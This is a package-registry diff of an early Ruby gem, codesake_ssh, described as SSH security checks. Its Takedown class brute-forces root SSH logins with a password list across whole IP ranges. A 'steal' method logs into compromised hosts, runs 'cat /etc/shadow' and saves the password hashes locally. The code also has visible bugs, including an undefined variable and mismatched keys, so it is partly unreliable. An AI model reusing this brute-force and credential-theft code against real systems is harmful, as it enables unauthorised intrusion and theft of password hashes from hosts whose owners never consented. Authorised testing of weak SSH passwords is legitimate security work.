codesake_ssh 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,18 @@
1
+ *.sw?
2
+ *.gem
3
+ *.rbc
4
+ .bundle
5
+ .config
6
+ .yardoc
7
+ Gemfile.lock
8
+ InstalledFiles
9
+ _yardoc
10
+ coverage
11
+ doc/
12
+ lib/bundler/man
13
+ pkg
14
+ rdoc
15
+ spec/reports
16
+ test/tmp
17
+ test/version_tmp
18
+ tmp
data/.rvmrc ADDED
@@ -0,0 +1 @@
1
+ rvm use 1.9.3@codesake
data/Gemfile ADDED
@@ -0,0 +1,4 @@
1
+ source 'https://rubygems.org'
2
+
3
+ # Specify your gem's dependencies in codesake_ssh.gemspec
4
+ gemspec
@@ -0,0 +1,22 @@
1
+ Copyright (c) 2013 Paolo Perego
2
+
3
+ MIT License
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining
6
+ a copy of this software and associated documentation files (the
7
+ "Software"), to deal in the Software without restriction, including
8
+ without limitation the rights to use, copy, modify, merge, publish,
9
+ distribute, sublicense, and/or sell copies of the Software, and to
10
+ permit persons to whom the Software is furnished to do so, subject to
11
+ the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be
14
+ included in all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
19
+ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
20
+ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
21
+ OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
22
+ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
@@ -0,0 +1,29 @@
1
+ # CodesakeSsh
2
+
3
+ TODO: Write a gem description
4
+
5
+ ## Installation
6
+
7
+ Add this line to your application's Gemfile:
8
+
9
+ gem 'codesake_ssh'
10
+
11
+ And then execute:
12
+
13
+ $ bundle
14
+
15
+ Or install it yourself as:
16
+
17
+ $ gem install codesake_ssh
18
+
19
+ ## Usage
20
+
21
+ TODO: Write usage instructions here
22
+
23
+ ## Contributing
24
+
25
+ 1. Fork it
26
+ 2. Create your feature branch (`git checkout -b my-new-feature`)
27
+ 3. Commit your changes (`git commit -am 'Add some feature'`)
28
+ 4. Push to the branch (`git push origin my-new-feature`)
29
+ 5. Create new Pull Request
@@ -0,0 +1,7 @@
1
+ require "bundler/gem_tasks"
2
+ require "rspec/core/rake_task"
3
+
4
+ RSpec::Core::RakeTask.new
5
+
6
+ task :default => :spec
7
+ task :test => :spec
@@ -0,0 +1,23 @@
1
+ #! /usr/bin/env ruby
2
+ # encoding: utf-8
3
+
4
+ require 'codesake_ssh'
5
+
6
+ DEFAULT_CONF_FILE ="./codesake_ssh.conf"
7
+
8
+ # TODO: add rainbow dependency
9
+ # TODO: add option parsing here
10
+ # TODO: add parameter checking
11
+
12
+ conf_file = nil # => it will be initialized with the -c flag
13
+ conf_file = DEFAULT_CONF_FILE if File.exists?(DEFAULT_CONF_FILE)
14
+
15
+ Codesake::SSH::Config.read_conf(conf_file) # => it's a singleton we dont need to bind it to a variable
16
+ engine = Codesake::SSH::Takedown.new(ARGV[0]) # => we expect argument to be single IP address in dot notation or LANs using CIDR notation
17
+
18
+ puts "[*] takedown is starting at #{Time.now.strftime("%H:%m:%S")}"
19
+ results = engine.analyse
20
+ puts "[-] #{engine.count_compromised} compromised hosts" if engine.compromised?
21
+ puts "[-] no server compromised" unless engine.compromised?
22
+ puts "[*] shutting down at #{Time.now.strftime("%H:%m:%S")}"# .color(:white)
23
+ Kernel.exit(0)
@@ -0,0 +1,22 @@
1
+ # -*- encoding: utf-8 -*-
2
+ lib = File.expand_path('../lib', __FILE__)
3
+ $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
4
+ require 'codesake/ssh/version'
5
+
6
+ Gem::Specification.new do |gem|
7
+ gem.name = "codesake_ssh"
8
+ gem.version = Codesake::SSH::VERSION
9
+ gem.authors = ["Paolo Perego"]
10
+ gem.email = ["paolo@armoredcode.com"]
11
+ gem.description = %q{Codesake::SSH includes all security checks we apply to ssh service for codesake application security portal}
12
+ gem.summary = %q{Codesake::SSH includes all security checks we apply to ssh service for codesake application security portal}
13
+ gem.homepage = "http://codesake.com"
14
+
15
+ gem.files = `git ls-files`.split($/)
16
+ gem.executables = gem.files.grep(%r{^bin/}).map{ |f| File.basename(f) }
17
+ gem.test_files = gem.files.grep(%r{^(test|spec|features)/})
18
+ gem.require_paths = ["lib"]
19
+
20
+ gem.add_development_dependency 'rake'
21
+ gem.add_development_dependency 'rspec'
22
+ end
@@ -0,0 +1,39 @@
1
+ require 'yaml'
2
+ require 'singleton'
3
+
4
+ module Codesake
5
+ module SSH
6
+ class Config
7
+ include Singleton
8
+ attr_reader :config
9
+
10
+ def self.read_conf(filename)
11
+ self.instance.read_conf(filename)
12
+ end
13
+
14
+ def self.ports
15
+ self.instance.config["config"]["ports_to_scan"]
16
+ end
17
+
18
+ def self.passwords
19
+ self.instance.config["config"]["password_list"]
20
+ end
21
+
22
+
23
+ def read_conf(filename)
24
+ @config = {"config"=>{"ports_to_scan"=>[22], "password_list"=>"root,password"}}
25
+ @filename = nil
26
+ @filename = filename if ! filename.nil? and File.exists?(filename)
27
+
28
+ @config = YAML.load_file(conf_file) unless @filename.nil?
29
+
30
+ @config["config"]["password_list"] = @config["config"]["password_list"].split(',')
31
+ @config
32
+ end
33
+
34
+
35
+
36
+ end
37
+ end
38
+ end
39
+
@@ -0,0 +1,75 @@
1
+ require 'ipaddr'
2
+
3
+ module Codesake
4
+ module SSH
5
+ class Takedown
6
+
7
+ attr_reader :ports
8
+ attr_reader :passwds
9
+ attr_reader :target
10
+ attr_reader :results
11
+
12
+ def initialize(target)
13
+ @ports = Codesake::SSH::Config.ports
14
+ @passwds = Codesake::SSH::Config.passwords
15
+ @target = target
16
+ @target = IPAddr.new(target) unless target.class == IPAddr.class
17
+ end
18
+
19
+ def analyse
20
+ @results = []
21
+ @target.to_range.each do |host|
22
+ @passwds.each do |pass|
23
+ @ports.each do |port|
24
+ @results << {:host=>host.to_s, :port=>port, :pass=>pass} if connect(host.to_s, port, pass)
25
+ end
26
+ end
27
+ end
28
+ @results
29
+ end
30
+
31
+ def takedown
32
+ @results.each do |result|
33
+ steal(result[:host], result[:port], result[:password])
34
+ end
35
+ end
36
+
37
+ def compromised?
38
+ ! @results.empty?
39
+ end
40
+
41
+ def count_compromised
42
+ @results.size
43
+ end
44
+ private
45
+
46
+ def steal(host, port, password)
47
+ begin
48
+ ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
49
+ data = ssh.exec!("cat /etc/shadow")
50
+ f_d = File.new(host+"_shadow", "w")
51
+ f_d.write(data)
52
+ f_d.close
53
+ ssh.close
54
+ ret = true
55
+ rescue => e
56
+ ret = false
57
+ end
58
+ ret
59
+ end
60
+
61
+ def connect(host, port, password)
62
+ begin
63
+ ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
64
+ ssh.close
65
+ ret = true
66
+ rescue => e
67
+ ret = false
68
+ end
69
+
70
+ end
71
+
72
+
73
+ end
74
+ end
75
+ end
@@ -0,0 +1,5 @@
1
+ module Codesake
2
+ module SSH
3
+ VERSION = "0.0.1"
4
+ end
5
+ end
@@ -0,0 +1,5 @@
1
+ require "codesake/ssh/version"
2
+ require "codesake/ssh/config"
3
+ require "codesake/ssh/takedown"
4
+
5
+
@@ -0,0 +1,27 @@
1
+ require 'spec_helper'
2
+
3
+ describe Codesake::SSH::Config do
4
+ describe "has a default configuration" do
5
+
6
+ before(:all) do
7
+ @nil_conf = Codesake::SSH::Config.read_conf(nil)
8
+
9
+ end
10
+
11
+ it "available" do
12
+ @nil_conf.should_not be_nil
13
+ end
14
+
15
+ it "to test for port 22" do
16
+ vet = [22]
17
+ @nil_conf["config"]["ports_to_scan"].should == vet
18
+ end
19
+
20
+ it "has a ports shortcut" do
21
+ vet = [22]
22
+ Codesake::SSH::Config.ports.should == vet
23
+ end
24
+ end
25
+
26
+
27
+ end
@@ -0,0 +1 @@
1
+ require 'spec_helper'
@@ -0,0 +1 @@
1
+ require 'codesake_ssh'
metadata ADDED
@@ -0,0 +1,104 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: codesake_ssh
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ prerelease:
6
+ platform: ruby
7
+ authors:
8
+ - Paolo Perego
9
+ autorequire:
10
+ bindir: bin
11
+ cert_chain: []
12
+ date: 2013-02-21 00:00:00.000000000 Z
13
+ dependencies:
14
+ - !ruby/object:Gem::Dependency
15
+ name: rake
16
+ requirement: !ruby/object:Gem::Requirement
17
+ none: false
18
+ requirements:
19
+ - - ! '>='
20
+ - !ruby/object:Gem::Version
21
+ version: '0'
22
+ type: :development
23
+ prerelease: false
24
+ version_requirements: !ruby/object:Gem::Requirement
25
+ none: false
26
+ requirements:
27
+ - - ! '>='
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ - !ruby/object:Gem::Dependency
31
+ name: rspec
32
+ requirement: !ruby/object:Gem::Requirement
33
+ none: false
34
+ requirements:
35
+ - - ! '>='
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ type: :development
39
+ prerelease: false
40
+ version_requirements: !ruby/object:Gem::Requirement
41
+ none: false
42
+ requirements:
43
+ - - ! '>='
44
+ - !ruby/object:Gem::Version
45
+ version: '0'
46
+ description: Codesake::SSH includes all security checks we apply to ssh service for
47
+ codesake application security portal
48
+ email:
49
+ - paolo@armoredcode.com
50
+ executables:
51
+ - takedown.rb
52
+ extensions: []
53
+ extra_rdoc_files: []
54
+ files:
55
+ - .gitignore
56
+ - .rvmrc
57
+ - Gemfile
58
+ - LICENSE.txt
59
+ - README.md
60
+ - Rakefile
61
+ - bin/takedown.rb
62
+ - codesake_ssh.gemspec
63
+ - lib/codesake/ssh/config.rb
64
+ - lib/codesake/ssh/takedown.rb
65
+ - lib/codesake/ssh/version.rb
66
+ - lib/codesake_ssh.rb
67
+ - spec/lib/codesake_ssh_config_spec.rb
68
+ - spec/lib/codesake_ssh_spec.rb
69
+ - spec/spec_helper.rb
70
+ homepage: http://codesake.com
71
+ licenses: []
72
+ post_install_message:
73
+ rdoc_options: []
74
+ require_paths:
75
+ - lib
76
+ required_ruby_version: !ruby/object:Gem::Requirement
77
+ none: false
78
+ requirements:
79
+ - - ! '>='
80
+ - !ruby/object:Gem::Version
81
+ version: '0'
82
+ segments:
83
+ - 0
84
+ hash: 750508914369341620
85
+ required_rubygems_version: !ruby/object:Gem::Requirement
86
+ none: false
87
+ requirements:
88
+ - - ! '>='
89
+ - !ruby/object:Gem::Version
90
+ version: '0'
91
+ segments:
92
+ - 0
93
+ hash: 750508914369341620
94
+ requirements: []
95
+ rubyforge_project:
96
+ rubygems_version: 1.8.24
97
+ signing_key:
98
+ specification_version: 3
99
+ summary: Codesake::SSH includes all security checks we apply to ssh service for codesake
100
+ application security portal
101
+ test_files:
102
+ - spec/lib/codesake_ssh_config_spec.rb
103
+ - spec/lib/codesake_ssh_spec.rb
104
+ - spec/spec_helper.rb